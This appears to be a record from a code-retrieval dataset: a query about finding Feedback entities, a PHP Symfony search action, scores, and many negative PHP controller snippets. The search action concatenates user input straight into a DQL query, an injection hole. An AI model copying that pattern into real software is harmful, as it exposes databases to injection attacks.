"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n $entities = $em->getRepository('PruebasBundle:Turno')->findAll();\n return array('entities' => $entities,);\n }",
"public function indexAction() {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('CabinetMedicalBundle:actualite')->findAll();\n\n return $this->render('CabinetMedicalBundle:actualite:index.html.twig', array(\n 'entities' => $entities,\n ));\n }",
"public function index() {\n return Ticket::all();\n }",
"public function index()\n {\n return $this->model->all();\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('AdminBundle:User')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $askInfos = $em->getRepository('AppBundle:AskInfo')->findAll();\n\n return $this->render('askinfo/index.html.twig', array_merge([\n 'askInfos' => $askInfos,],\n $this->getData()));\n }",
"public function index()\n {\n //\n return response()->json(Requestors::with('feedback')->get());\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('CestomArticleBundle:Article')->findAll();\n\n return $this->render($this->templates[\"index\"], array(\n 'entities' => $entities,\n\t\t\t'mesRoutes' => $this->mesRoutes,\n ));\n }",
"public function getEntities();",
"public function getEntities();",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $articles = $em->getRepository('IrvyneBlogBundle:Article')->findAll();\n\n return array('entities' => $articles);\n }",
"public function showAllBetAction()\n {\n $em = $this->getDoctrine()->getManager();\n $bets = $em->getRepository('BetBundle:Bet')->findBy(array(),array('id' => 'DESC'),20);\n\n return $this->render('admin/showBet.html.twig', array(\n 'bets' => $bets,\n ));\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('BaseBundle:Feriado')->findAll();\n\n return $this->render('BaseBundle:Feriado:index.html.twig', array(\n 'entities' => $entities,\n ));\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $tickets = $em->getRepository('AppBundle:Ticket')->findAll();\n\n return $this->render('ticket/index.html.twig', array(\n 'tickets' => $tickets,\n ));\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n $paginator = $this->get('knp_paginator');\n\t\t$query = $em->getRepository('AppBundle:Peserta')->dataAllQuery();\n $pagination = $paginator->paginate(\n\t\t\t$query,\n\t\t\t$this->get('request')->query->get('page', 1),\n\t\t\t25\n\t\t);\n\n return array(\n 'entities' => $pagination,\n );\n }",
"public function indexAction()\n {\n list($filterForm, $queryBuilder) = $this->filter();\n\n list($entities, $pagerHtml) = $this->paginator($queryBuilder);\n\n return array(\n 'entities' => $entities,\n 'pagerHtml' => $pagerHtml,\n 'filterForm' => $filterForm->createView(),\n );\n }",
"public function indexAction()\n {\n list($filterForm, $queryBuilder) = $this->filter();\n\n list($entities, $pagerHtml) = $this->paginator($queryBuilder);\n\n return array(\n 'entities' => $entities,\n 'pagerHtml' => $pagerHtml,\n 'filterForm' => $filterForm->createView(),\n );\n }",
"public function actionIndex()\n {\n $accountId = $this->getAccountId();\n return MessageTemplate::findAll(['accountId' => $accountId]);\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('HaccoDeeeBundle:DevisSetup')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getEntityManager();\n\n $entities = $em->getRepository('MiiGameBundle:Level')->findAll();\n\n return array('entities' => $entities);\n }",
"public function index()\n {\n return Ticket::all();\n }",
"public function listAction()\n {\n $em = $this->getDoctrine()->getManager();\n $countriesRepository = $em->getRepository('ShopBundle:Countries');\n\n $countryList = $countriesRepository->findBy(\n array(),\n array('country' => 'ASC')\n );\n\n return array(\n 'countryList' => $countryList,\n );\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('InsaladeCommunicationBundle:Push')->findBy(array(), array('id'=>'desc'));;\n\n $list = $this->get('av_list')->getList($entities, 'id', 'DESC', 'range', array(\n 'max_per_page' => 10,\n 'prev_message' => '<',\n 'next_message' => '>',\n 'sort' => 'id',\n 'order' => 'DESC'\n ));\n\n $list->addColumn('id', null, 'Id', true, 'entity.id');\n $list->addColumn('association', null, 'Association', false, null);\n $list->addColumn('title', null, 'Title', false, null);\n $list->addColumn('dateStart', array(array(\"name\" => \"date\", \"params\" => array('Y-m-d H:i:s'))), 'Start Date', false, null);\n $list->addColumn('dateCreate', array(array(\"name\" => \"date\", \"params\" => array('Y-m-d H:i:s'))), 'Creation Date', false, null);\n $list->addColumn('state', null, 'State', true, 'entity.state');\n\n\n return array(\n 'list' => $list,\n );\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('ComDaufinBundle:Incident')->findAll();\n\n return $this->render('ComDaufinBundle:Incident:index.html.twig', array(\n 'entities' => $entities,\n ));\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('MedecinIBundle:Fichepatient')->findAll();\n\n return $this->render('MedecinIBundle:Fichepatient:index.html.twig', array(\n 'entities' => $entities,\n ));\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $contactGroups = $em->getRepository('AppBundle:ContactGroup')->findAll();\n\n return $this->render('contactgroup/index.html.twig', array(\n 'contactGroups' => $contactGroups,\n ));\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager(\"ms_haberes_web\");\n\n $entities = $em->getRepository('LiquidacionesCuposAnualesBundle:Liquidaciones')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('HffBlogBundle:Comentarios')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }",
"public function getAll()\n {\n return $this->list;\n }"
] | [
"0.7424918",
"0.71630764",
"0.66680497",
"0.6561958",
"0.6439739",
"0.6232369",
"0.6230939",
"0.62026626",
"0.61613464",
"0.6099846",
"0.6043504",
"0.6035255",
"0.600478",
"0.5985981",
"0.59855396",
"0.5974651",
"0.59687036",
"0.59666663",
"0.5937349",
"0.5909507",
"0.59089553",
"0.5897781",
"0.5896177",
"0.5895771",
"0.5885491",
"0.58676046",
"0.58583575",
"0.5849913",
"0.5843863",
"0.58356106",
"0.58061093",
"0.5798003",
"0.5795188",
"0.57926583",
"0.5784629",
"0.5763657",
"0.57633966",
"0.5744966",
"0.5736563",
"0.5717439",
"0.57132757",
"0.5705713",
"0.5702143",
"0.56968224",
"0.56955445",
"0.5693656",
"0.5676378",
"0.5672282",
"0.5658758",
"0.5651183",
"0.56438786",
"0.5643806",
"0.5627429",
"0.56270826",
"0.5626361",
"0.5606496",
"0.5606231",
"0.56038344",
"0.5602725",
"0.56013703",
"0.5600405",
"0.5593511",
"0.5591384",
"0.55905914",
"0.5585257",
"0.558195",
"0.5580927",
"0.55779266",
"0.55755424",
"0.55751324",
"0.5565233",
"0.5558412",
"0.55570465",
"0.5555258",
"0.5553269",
"0.5551381",
"0.55498445",
"0.55495405",
"0.5547112",
"0.55431473",
"0.55431473",
"0.55425227",
"0.5540331",
"0.5533922",
"0.5533015",
"0.55323356",
"0.55321175",
"0.55321175",
"0.5530055",
"0.55287164",
"0.5527387",
"0.5527028",
"0.5522718",
"0.5520224",
"0.5513839",
"0.5511047",
"0.5488369",
"0.5487274",
"0.5487262",
"0.5487255"
] | 0.624824 | 5 |
Find Feedback entities that match with the criteria. | public function findAction(Request $request)
{
$find = $request->get('find-form-text');
if ($find) {
$em = $this->getDoctrine()->getManager();
$dql = "SELECT e FROM BackendBundle:Feedback e WHERE "
. "e.name LIKE '%" . $find . "%' OR "
. "e.email LIKE '%" . $find . "%' "
. "ORDER BY e.id ASC";
$query = $em->createQuery($dql)
->setHint(
Query::HINT_CUSTOM_OUTPUT_WALKER,
'Gedmo\\Translatable\\Query\\TreeWalker\\TranslationWalker'
);
$paginator = $this->get('knp_paginator');
$pagination = $paginator->paginate(
$query, $request->query->get('page', 1), $this->getParameter('cruds.pagination.items')
);
return $this->render('feedback/index.html.twig', array(
'entities' => $pagination,
'textFind' => $find
));
} else {
return $this->redirect($this->generateUrl('feedback'));
}
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function matching(Criteria $criteria);",
"public function getCriteria();",
"public function matching(Criteria $criteria)\n {\n }",
"public function findCriteria()\r\n\t{\n\t\t$result = $this -> connection -> setTable($this -> entity)\n\t\t\t\t\t\t\t\t\t -> fetch();\r\n\n\t\treturn $result;\r\n\t}",
"public function find(array $criteria);",
"public function findContactsBy(array $criteria);",
"public function findBy($criteria);",
"public function findBy($criteria);",
"public function getFilterMatches()\n\t{\n\t\tif ($this->filter_changes !== null) return $this->filter_changes;\n\n\t\t$filters = $this->getApplicableFilters();\n\t\t$all_agents = App::getEntityRepository('DeskPRO:Person')->getAgents();\n\t\t$team2agents = App::getEntityRepository('DeskPRO:AgentTeam')->getTeamToAgentsMap();\n\n\t\t$old_dep_id = null;\n\t\t$new_dep_id = null;\n\t\tif ($dep_change = $this->tracker->getChangedProperty('department')) {\n\t\t\t$old_dep_id = $dep_change['old'];\n\t\t\tif ($old_dep_id) {\n\t\t\t\t$old_dep_id = $old_dep_id->getId();\n\t\t\t}\n\t\t\t$new_dep_id = $dep_change['new'];\n\t\t\tif ($new_dep_id) {\n\t\t\t\t$new_dep_id = $new_dep_id->getId();\n\t\t\t}\n\t\t}\n\n\t\t$orig_ticket = $this->tracker->getOriginalTicket();\n\t\t$new_ticket = $this->tracker->getTicket();\n\n\t\t$changed = array();\n\n\t\t$scope_counts = 0;\n\t\t$time = microtime(true);\n\n\t\tforeach ($filters as $filter) {\n\n\t\t\t// If the filter is the recycle bin and we are nuking the ticket,\n\t\t\t// then dont show it entering the list\n\t\t\tif ($filter->sys_name == 'archive_deleted' && $this->tracker->isExtraSet('is_physical_delete')) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t$changed[$filter->id] = array(\n\t\t\t\t'add' => array(),\n\t\t\t\t'del' => array(),\n\t\t\t\t'orig_match' => array(),\n\t\t\t\t'new_match' => array(),\n\t\t\t\t'filter' => $filter\n\t\t\t);\n\n\t\t\t$this->logMessage(\"Filter {$filter['id']} {$filter['title']}\");\n\n\t\t\t$agent_scopes = null;\n\n\t\t\tif ($filter->is_global) {\n\t\t\t\t$agent_scopes = $all_agents;\n\t\t\t} else if ($filter->agent_team) {\n\t\t\t\tif (isset($team2agents[$filter->agent_team->id])) {\n\t\t\t\t\t$agent_scopes = array();\n\t\t\t\t\tforeach ($team2agents[$filter->agent_team->id] as $id) {\n\t\t\t\t\t\tif (isset($all_agents[$id])) $agent_scopes[] = $all_agents[$id];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} elseif ($filter->person) {\n\t\t\t\t$agent_scopes = array($filter->person);\n\t\t\t}\n\n\t\t\t$affected_agent_ids = array();\n\t\t\tif ($agent_scopes) {\n\t\t\t\tforeach ($agent_scopes as $a) {\n\t\t\t\t\t$affected_agent_ids[] = $a->getId();\n\t\t\t\t}\n\t\t\t}\n\t\t\t$this->logMessage(\"-- Affected agents: \" . implode(', ', $affected_agent_ids));\n\n\t\t\tif (!$agent_scopes) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tforeach ($agent_scopes as $agent) {\n\n\t\t\t\t$agent->loadHelper('Agent');\n\t\t\t\t$agent->loadHelper('AgentTeam');\n\t\t\t\t$agent->loadHelper('AgentPermissions');\n\t\t\t\t$agent->loadHelper('PermissionsManager');\n\n\t\t\t\t$reset_status = false;\n\t\t\t\tif ($filter->sys_name) {\n\t\t\t\t\t// System filters are special in that we ignore status/hold\n\t\t\t\t\t// for notifications\n\t\t\t\t\t$searcher = $filter->getSearcher(array(\n\t\t\t\t\t\tarray('type' => 'status', 'op' => 'ignore'),\n\t\t\t\t\t\tarray('type' => 'hidden_status', 'op' => 'ignore'),\n\t\t\t\t\t\tarray('type' => 'is_hold', 'op' => 'ignore')\n\t\t\t\t\t));\n\n\t\t\t\t\t// Reset because we have to re-run to get proper result for add/del lists\n\t\t\t\t\t$reset_status = true;\n\t\t\t\t} else {\n\t\t\t\t\t$searcher = $filter->getSearcher();\n\t\t\t\t}\n\t\t\t\t$searcher->setPersonContext($agent);\n\n\t\t\t\t$orig_match_failterm = null;\n\t\t\t\t$new_match_failterm = null;\n\n\t\t\t\tif ($dep_change) {\n\t\t\t\t\tif (!$this->tracker->isNewTicket() && !$agent->AgentPermissions->isDepartmentAllowed($old_dep_id)) {\n\t\t\t\t\t\t$orig_match = false;\n\t\t\t\t\t\t$orig_match_failterm = 'ticket.department_id';\n\t\t\t\t\t}\n\n\t\t\t\t\tif (!$agent->AgentPermissions->isDepartmentAllowed($new_dep_id)) {\n\t\t\t\t\t\t$new_match = false;\n\t\t\t\t\t\t$new_match_failterm = 'ticket.department_id';\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif ($orig_match_failterm === null) {\n\t\t\t\t\tif ($this->tracker->isNewTicket()) {\n\t\t\t\t\t\t// there is no such thing as an original match with a new ticket\n\t\t\t\t\t\t$orig_match = false;\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$orig_match = $searcher->doesTicketMatch($orig_ticket, 'orig_match', $orig_match_failterm);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif ($new_match_failterm === null) {\n\t\t\t\t\t$new_match = $searcher->doesTicketMatch($new_ticket, null, $new_match_failterm);\n\t\t\t\t}\n\n\t\t\t\tif ($orig_match && $agent->PermissionsManager->TicketChecker->canView($orig_ticket)) {\n\t\t\t\t\t$changed[$filter->id]['orig_match'][] = $agent;\n\t\t\t\t}\n\t\t\t\tif ($new_match && $agent->PermissionsManager->TicketChecker->canView($new_ticket)) {\n\t\t\t\t\t$changed[$filter->id]['new_match'][] = $agent;\n\t\t\t\t}\n\n\t\t\t\tif ($reset_status) {\n\t\t\t\t\t$searcher = $filter->getSearcher();\n\t\t\t\t\t$searcher->setPersonContext($agent);\n\n\t\t\t\t\tif ($this->tracker->isNewTicket()) {\n\t\t\t\t\t\t$orig_match = false;\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$orig_match = $searcher->doesTicketMatch($orig_ticket, 'orig_match', $orig_match_failterm);\n\t\t\t\t\t}\n\t\t\t\t\t$new_match = $searcher->doesTicketMatch($new_ticket, null, $new_match_failterm);\n\t\t\t\t}\n\n\t\t\t\tif (!$orig_match) {\n\t\t\t\t\t$this->logMessage(\"-- Orig failed term: $orig_match_failterm\");\n\t\t\t\t}\n\t\t\t\tif (!$new_match) {\n\t\t\t\t\t$this->logMessage(\"-- New failed term: $new_match_failterm\");\n\t\t\t\t}\n\n\t\t\t\tif (!$orig_match AND !$new_match) {\n\t\t\t\t\t$this->logMessage(\"-- Agent Scope {$agent->id}: Nothing changed (both no-match)\");\n\t\t\t\t} else if ($orig_match AND $new_match) {\n\t\t\t\t\t$this->logMessage(\"-- Agent Scope {$agent->id}: Nothing changed (both match)\");\n\t\t\t\t} else if ($orig_match AND !$new_match) {\n\t\t\t\t\t$this->logMessage(\"-- Agent Scope {$agent->id}: Removed from list\");\n\t\t\t\t\t$changed[$filter->id]['del'][] = $agent;\n\t\t\t\t} else if (!$orig_match AND $new_match) {\n\t\t\t\t\t$this->logMessage(\"-- Agent Scope {$agent->id}: Added to list\");\n\t\t\t\t\t$changed[$filter->id]['add'][] = $agent;\n\t\t\t\t}\n\n\t\t\t\t$scope_counts++;\n\t\t\t}\n\t\t}\n\n\t\t$this->filter_changes = array();\n\t\tforeach ($changed as $fid => $changes) {\n\t\t\tif ($changes['orig_match'] || $changes['new_match']) {\n\t\t\t\t$this->filter_changes[$fid] = $changes;\n\t\t\t}\n\t\t}\n\n\t\t$total_time = microtime(true) - $time;\n\n\t\t$this->logMessage('Found ' . count($this->filter_changes) . ' matches');\n\t\t$this->logMessage(\"Full check done in iterations: \" . $scope_counts . \" in time \" . sprintf('%.5f', $total_time) . \" seconds\");\n\t\t$this->logMessage(\\Orb\\Util\\Util::debugVar($this->filter_changes));\n\n\t\treturn $this->filter_changes;\n\t}",
"public function findBy(array $criteria);",
"public function hasCriteria();",
"public function getItemsCriteria() {}",
"public function getItemsCriteria() {}",
"public abstract function getCriteriaWhere($criteria);",
"abstract public function findBy($criteria);",
"public function searchFE() {\r\r\n $criteria = new CDbCriteria;\r\r\n $criteria->compare('t.id', $this->id);\r\r\n $criteria->compare('t.date', $this->date, true);\r\r\n $criteria->compare('t.time_of_call', $this->time_of_call, true);\r\r\n $criteria->compare('t.received_by', $this->received_by);\r\r\n $criteria->compare('t.description', $this->description, true);\r\r\n $criteria->compare('t.person_called', $this->person_called);\r\r\n $criteria->compare('t.transaction_id', $this->transaction_id);\r\r\n $criteria->compare('t.status', $this->status);\r\r\n $criteria->order = \"id DESC\";\r\r\n\r\r\n return new CActiveDataProvider($this, array(\r\r\n 'criteria' => $criteria,\r\r\n 'pagination' => array(\r\r\n 'pageSize' => 8,\r\r\n ),\r\r\n ));\r\r\n }",
"public function getCriteria()\n {\n $this->assertEquals(array(), $this->denyValidator->getCriteria());\n }",
"public function findContactBy(array $criteria);",
"public abstract function getCriteriaFrom($criteria);",
"function getCompatibleCandidates($searchee = array(), $criteria=array(), $limit=-1){\t\r\n\t\t$action=\"profile_search\";\r\n\t\t$registered_date=null;\r\n\t\tforeach($criteria as $key=>$value){ //plugs variables to place\r\n\t\t\tif ($key==\"action\"){\r\n\t\t\t\t$action = $value;\r\n\t\t\t}else if ($key==\"registered_date\"){\r\n\t\t\t\t$registered_date = $value;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif ($action==\"searchbydateprofile\"){\r\n\t\t\t\r\n\t\t\t$condition = array(\"DATE(Member.created) = '\".$registered_date.\"'\",\r\n\t\t\t\t\t\t\t\t \"gender_id\"=>$searchee[\"Member\"][\"looking_for_id\"], \"Member.id <> \".$searchee[\"Member\"][\"id\"]);\r\n\t\t\t\r\n\t\t}else if ($action==\"all\"){\r\n\t\t\t$condition = array(\"gender_id\"=>$searchee[\"Member\"][\"looking_for_id\"], \"Member.id <> \".$searchee[\"Member\"][\"id\"]);\r\n\t\t\r\n\t\t\r\n\t\t\r\n\t\t}\r\n\t\t$this->controller->Member->unbindModel(array(\"hasMany\"=>array(\"GiftAvailTransaction\", \"Notification\", \"CreditCard\", \"PrivateMessage\", \"SentGift\", \"SubscriptionTransaction\", \"MemberProfileAnswer\", \"Album\", \"InMyOwnWordsAnswer\", \"MembersInterest\", \"Connection\", \"ReceiveMessage\", \"ShoppedItem\")));\r\n\t\tif ($limit==-1){ \r\n\t\t\t$members = $this->controller->Member->find(\"all\", \r\n\t\t\t\t\t\tarray(\"conditions\"=>$condition));\r\n\t\t}else{\r\n\t\t\t$members = $this->controller->Member->find(\"all\", array(\"conditions\"=>$condition, \"limit\"=>$limit));\t\t\t\t\t\t\r\n\t\t}\r\n\t\t\r\n\t\t$matches = array();\r\n\t\tforeach ($members as $member){\r\n\r\n\t\t\t$passed = true;\r\n\t\t\tif (isset($searchee[\"MemberSetting\"])){\r\n\t\t\t\tif ($this->validAge($searchee,$member)&&$this->validDistance($searchee,$member)){\r\n\t\t\t\t\t$passed = true;\r\n\t\t\t\t}\r\n\t\t\t}else{\r\n\t\t\t\t$passed = true;\r\n\t\t\t}\r\n\t\t\tif ($passed){\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t\t$data[\"Match\"][\"matched_id\"] = $member[\"Member\"][\"id\"];\r\n\t\t\t\t$data[\"Match\"][\"member_id\"] = $searchee[\"Member\"][\"id\"];\r\n\t\t\t\t$data[\"Match\"][\"compatibility\"] = $this->getCompatibilityByWeight ($searchee, $member);\r\n\t\t\t\tif ($data[\"Match\"][\"compatibility\"]!=0){\r\n\t\t\t\t\t$matches[] = $this->controller->Match->save_match($data);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn $matches;\t\r\n\t\t\r\n\t}",
"public function filterProvider()\n {\n $entity1 = $this->createMock(EntityInterface::class);\n $entity2 = $this->createMock(EntityInterface::class);\n $entity3 = $this->createMock(EntityInterface::class);\n $entity4 = $this->createMock(EntityInterface::class);\n $entity5 = $this->createMock(EntityInterface::class);\n $entity6 = $this->createMock(EntityInterface::class);\n\n $entity1->foo = 'bar';\n $entity2->foo = 123;\n $entity4->foo = '123';\n $entity5->foo = ['1230'];\n $entity6->foo = [1234, 123, 'teta'];\n\n $entities = [$entity1, $entity2, $entity3, $entity4, $entity5, $entity6];\n\n $filter = function($entity) {\n return isset($entity->foo) && $entity->foo == 123;\n };\n\n return [\n [$entities, ['foo' => 123], false, [1 => $entity2, 3 => $entity4, 5 => $entity6]],\n [$entities, ['foo' => 123], true, [1 => $entity2, 5 => $entity6]],\n [$entities, $filter, false, [1 => $entity2, 3 => $entity4]],\n [$entities, $filter, true, [1 => $entity2, 3 => $entity4]],\n [$entities, [], false, $entities],\n [$entities, [], true, $entities],\n [[], ['foo' => 123], true, []],\n [[], ['foo' => 123], false, []],\n [[], $filter, true, []],\n [[], $filter, false, []],\n ];\n }",
"abstract public function findRelatedRecordsByEmail(): array;",
"public abstract function findHolderBy(array $criteria);",
"public function seachMatchAll(){\n\t\t $query = $this->getDbTable()->select()\n\t\t ->from(array('b' => 'tbteam'),array('home'=>'b.team'))\n ->joinInner(array('a' => 'tbmatch'),'a.idHomeTeam=b.id',array('a.id','a.goalHomeTeam','a.goalVisitorTeam','a.date','a.round'))\n ->joinInner(array('c' => 'tbteam'),'c.id=a.idVisitorTeam',array('visitor'=>'c.team'))\n ->order('a.round')\n ->setIntegrityCheck(false);\n return $this->getDbTable()->fetchAll($query);\n\t}",
"public function getOtherCriteriaList() {\n return $this->_get(9);\n }",
"public function get_criteria() { return $this->criteria_list; }",
"public function findPastPanelsWithoutFeedbackEmailSent()\n {\n $now = new \\DateTime();\n $today = $now->format('Y-m-d');\n\n $query = $this->createQuery();\n $query->getQuerySettings()->setRespectStoragePage(false);\n $query->matching(\n $query->logicalAnd(\n $query->lessThanOrEqual('date', $today),\n $query->equals('feedbackMailSent', false)\n )\n );\n return $query->execute();\n\n }",
"public abstract function findOperationBy(array $criteria);",
"public function matching(Criteria $criteria)\n {\n if ($this->isDirty) {\n $this->initialize();\n }\n if ($this->initialized) {\n return $this->collection->matching($criteria);\n }\n\n $builder = Criteria::expr();\n $ownerExpression = $builder->eq($this->backRefFieldName, $this->owner);\n $expression = $criteria->getWhereExpression();\n $expression = $expression ? $builder->andX($expression, $ownerExpression) : $ownerExpression;\n $criteria = clone $criteria;\n $criteria->where($expression);\n $persister = $this->manager->getUnitOfWork()->getEntityPersister($this->association['targetEntity']);\n\n return new LazyCriteriaCollection($persister, $criteria);\n }",
"public function getGroupCandidates(){\n\t\t$groups = GroupQuery::create()\n\t\t\t\t\t \t\t\t->select(\"Id\")\n\t\t\t\t\t\t\t\t->filterByUser($this)\n\t\t\t\t\t\t\t\t->find(); \n\n\t\t$candidates = GroupQuery::create()\n\t\t\t\t\t\t\t\t\t\t\t->filterById($groups, Criteria::NOT_IN)\n\t\t\t\t\t\t\t\t\t\t\t->find();\n\t\treturn $candidates;\n\t}",
"private function searchDiffs()\n {\n $this->matchedCollection->each(function ($item) {\n\n $newElement = $this->findMeIn($this->mergeCollection,$item);\n\n //Unset primary key property if it's not in associative pivots because it can create Integrity constraint violation: Duplicate ID\n if(!in_array($this->primaryKey,$this->associativeColumns) && !in_array($this->primaryKey,$this->associativePivots))\n unset($newElement->id);\n\n //If found element\n if($newElement)\n $this->fillReport($newElement,$item);\n });\n }",
"public function getRecords()\n {\n try {\n $SQL = \"SELECT * FROM `\".CMS_TABLE_PREFIX.\"mod_feedback` WHERE `page_id` > '0' AND `active`='1'\";\n $results = $this->app['db']->fetchAll($SQL);\n return $results;\n } catch (\\Doctrine\\DBAL\\DBALException $e) {\n throw new \\Exception($e);\n }\n }",
"public function Search($criteria);",
"public function getBy(array $criteria);",
"public function getApplicableFilters()\n\t{\n\t\t$filters = App::getEntityRepository('DeskPRO:TicketFilter')->getAll();\n\t\t$filters_apply = array();\n\n\t\t$this->logMessage(\"Filters to check: \" . count($filters));\n\n\t\t$changed_fields = $this->getChangedFields();\n\t\t$new_messages = $this->tracker->getChangedProperty('messages') ? true : false;\n\n\t\t$hidden_changed = false;\n\t\tif (in_array('ticket.hidden_status', $changed_fields)) {\n\t\t\t$hidden_changed = true;\n\t\t}\n\n\t\tforeach ($filters as $filter) {\n\t\t\tif ($new_messages || $hidden_changed || $filter->getSearcher()->hasAnyAffectedFields($changed_fields)) {\n\t\t\t\t$filters_apply[] = $filter;\n\t\t\t}\n\t\t}\n\n\t\t$this->logMessage(\"Passed filters: \" . count($filters_apply));\n\n\t\treturn $filters_apply;\n\t}",
"public function matching(Criteria $criteria)\n {\n $persister = $this->_em->getUnitOfWork()->getEntityPersister(\n $this->_entityName\n );\n\n return new LazyCriteriaCollection($persister, $criteria);\n }",
"public function getStudentFrees()\n {\n $c = new Criteria();\n $c->add(StudentFreePeer::STUDENT_ID, $this->getStudentId());\n $c->add(StudentFreePeer::IS_FREE, true);\n\n if ($this->getCourseSubject()->hasAttendanceForSubject())\n {\n $c->add(StudentFreePeer::COURSE_SUBJECT_ID, $this->getCourseSubjectId());\n }\n //else\n //{\n //$c->add(StudentFreePeer::COURSE_SUBJECT_ID, null, Criteria::ISNULL);\n //}\n\n return StudentFreePeer::doSelect($c);\n\n }",
"public function getCriteriaList() {\n return $this->_get(6);\n }",
"public function getCriteria(){\n return $this->criteria;\n }",
"public function search() {\n try {\n if (!($this->attachment instanceof Base_Model_ObtorLib_App_Core_Qualification_Entity_Attachment)) {\n throw new Base_Model_ObtorLib_App_Core_Qualification_Exception(\" Attachment Entity not initialized\");\n } else {\n $objAttachment = new Base_Model_ObtorLib_App_Core_Qualification_Dao_Attachment();\n $objAttachment->attachment = $this->attachment;\n return $objAttachment->search();\n }\n } catch (Exception $ex) {\n throw new Base_Model_ObtorLib_App_Core_Qualification_Exception($ex);\n }\n }",
"public function index()\n {\n return Feedback::all();\n }",
"public function get_entities();",
"public function hasOtherCriteria() {\n return $this->_has(9);\n }",
"function loadFeedbacks($data, $user_id){\n $where_string = \"1\";\n /*\n if ($data[\"genus\"] == -1 and $data[\"collector\"] == -1 and $data[\"age_min\"] == 0 and $data[\"age_max\"] == 12)\n {\n $where_string = \"1\";\n }\n else\n { \n $where = [];\n \t$i = 0;\n \t\n \t\t$where[$i] = \"genus = '\" . $data['genus'].\"'\";\n $i += 1;\n\n $where[$i] = \"age_min = \" . $data['age_min'];\n $i += 1;\n\n $where[$i] = \"age_max = \" . $data['age_max'];\n $i += 1;\n \n $where[$i] = \"collector = '\" . $data['collector'].\"'\";\n $i += 1;\n\n \tif ($i != 0)\n {\n for ($j=0; $j<$i-1; $j++)\n {\n $where_string .= $where[$j] . \" AND \";\n }\n $where_string .= $where[$i-1]; \n }\n else {\n $where_string = \" 1\";\n }\n }\n */\n\n\n \t//querying the database to find the filter id\n \t$query = $this->db->query('SELECT filter_id FROM filter WHERE '.$where_string);\n\n \tif ($query->num_rows() > 0)\n \t{\n $return = array();\n \t\t//if the filter is found we use it to retrieve the feedabcks\n \t\t\n //$row = $query->row_array();\n \t\t\n foreach ($query->result_array() as $filter) \n {\n\n $filter_id = $filter['filter_id'];\n\n \t\t$query2 = $this->db->query('SELECT feedback_id, user_id, time, message, map_coordinates_id FROM feedback WHERE filter_id='.$filter_id.' AND replyto=0 AND hidden=0 ORDER BY time DESC');\n\n \t\tif ($query2->num_rows() > 0)\n \t\t{\n \t\t\t//we found some feedbacks related to that filter\n \t\t\tforeach ($query2->result_array() as $row){\n \n $new_row = $this->getFeedbackDetails($row, $user_id);\n $new_row['replyto'] = 0;\n \n $new_row['replies'] = array();\n\n //query of replies for each feedback\n $query_replies = $this->db->query('SELECT feedback_id, user_id, time, message, map_coordinates_id FROM feedback WHERE filter_id='.$filter_id.' AND replyto='.$new_row['feedback_id'].' AND hidden=0 ORDER BY time ASC');\n\n if ($query_replies->num_rows() > 0){\n //for each replies, we get their details\n foreach ($query_replies->result_array() as $rep){\n $temp = $this->getFeedbackDetails($rep, $user_id);\n $temp[\"selection\"] = $new_row[\"selection\"];\n $new_row[\"replies\"][] = $temp;\n }\n\n }\n\n $return[] = $new_row;\n }\n \n \t\t}\n\n\n }\n return $return;\n\n \t} else {\n \t\t//if the filter is not found then no feedbacks are recorded. We return an emty array\n \t\treturn $return;\n \t}\n }",
"function findPropertiesBy(array $criteria);",
"public function executeSearch_contact(sfWebRequest $request)\n{\n //por ahora solo x el email\n \n $name_or_email = $request->getParameter('data');\n $group_id = $request->getParameter('workGroup');\n $current_user = $this->getUser()->getAttribute(sfConfig::get('app_session_current_user'), null);\n //reviso si la session existe\n if($current_user!=null){\n $criterio_user = new Criteria();\n $criterio_user->add(DetalleGrupoTrabajoScPeer::EMAIL,'%'.$name_or_email.'%',Criteria::LIKE);\n $criterio_user->add(GrupoTrabajoScPeer::OWNER_ID,$current_user->getId());\n $criterio_user->add(GrupoTrabajoScPeer::ID,$group_id);\n $criterio_user->addJoin(DetalleGrupoTrabajoScPeer::GRUPO_ID,GrupoTrabajoScPeer::ID);\n $list_results = DetalleGrupoTrabajoScPeer::doSelect($criterio_user);\n $this->results = $list_results;\n return sfView::SUCCESS; \n }else{\n return sfView::ERROR;\n } \n\n \n }",
"public function hasCriteria() {\n return $this->_has(6);\n }",
